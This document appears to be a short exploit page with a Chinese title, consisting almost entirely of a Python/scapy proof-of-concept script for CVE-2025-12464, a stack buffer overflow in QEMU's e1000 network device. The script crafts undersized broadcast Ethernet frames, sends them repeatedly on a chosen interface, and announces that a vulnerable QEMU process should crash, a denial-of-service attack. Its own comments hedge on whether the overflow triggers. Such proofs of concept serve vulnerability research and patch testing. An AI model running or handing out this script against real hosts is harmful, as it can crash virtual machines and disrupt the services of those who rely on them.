CVE-2025-12464 QEMU e1000网络设备栈缓冲区溢出漏洞

# CVE-2025-12464 PoC - QEMU e1000 Stack Buffer Overflow in Loopback Mode # This PoC demonstrates sending a crafted short frame to trigger the vulnerability from scapy.all import Ether, Raw, sendp import sys def create_crafted_short_frame(): """ Create a crafted short frame that triggers buffer overflow in e1000_receive_iov() The frame is intentionally smaller than minimum Ethernet frame size (60 bytes) to trigger the padding code path in loopback mode. """ # Create an Ethernet frame with payload smaller than minimum frame size # Minimum Ethernet frame is 60 bytes (excluding CRC), but we send much smaller short_payload = b'A' * 32 # Intentionally undersized payload # Craft the Ethernet frame # In loopback mode, this frame will be processed by e1000_receive_iov() # without proper padding, potentially causing buffer overflow eth_frame = Ether(dst='ff:ff:ff:ff:ff:ff', src='00:11:22:33:44:55') / Raw(short_payload) return eth_frame def send_crafted_packets(interface='lo', count=100): """ Send crafted short frames to trigger the vulnerability Args: interface: Network interface to send packets on (default: loopback) count: Number of packets to send """ print(f"[*] Creating crafted short frames for CVE-2025-12464") print(f"[*] Target interface: {interface}") print(f"[*] Sending {count} malicious packets...") # Create the crafted frame frame = create_crafted_short_frame() # Display frame info print(f"[*] Frame size: {len(frame)} bytes (intentionally undersized)") print(f"[*] Payload size: {len(frame.payload)} bytes") # Send the crafted packets # In a vulnerable QEMU setup with e1000 device in loopback mode, # this should trigger the buffer overflow in e1000_receive_iov() try: sendp(frame, iface=interface, count=count, verbose=0) print(f"[+] Sent {count} crafted packets successfully") print("[+] If target QEMU is vulnerable, it should crash with stack buffer overflow") except Exception as e: print(f"[-] Error sending packets: {e}") return False return True if __name__ == '__main__': print("=" * 60) print("CVE-2025-12464 QEMU e1000 Buffer Overflow PoC") print("Target: QEMU e1000 network device in loopback mode") print("Effect: Denial of Service (QEMU process crash)") print("=" * 60) # Allow command line interface specification interface = sys.argv[1] if len(sys.argv) > 1 else 'lo' count = int(sys.argv[2]) if len(sys.argv) > 2 else 100 send_crafted_packets(interface=interface, count=count)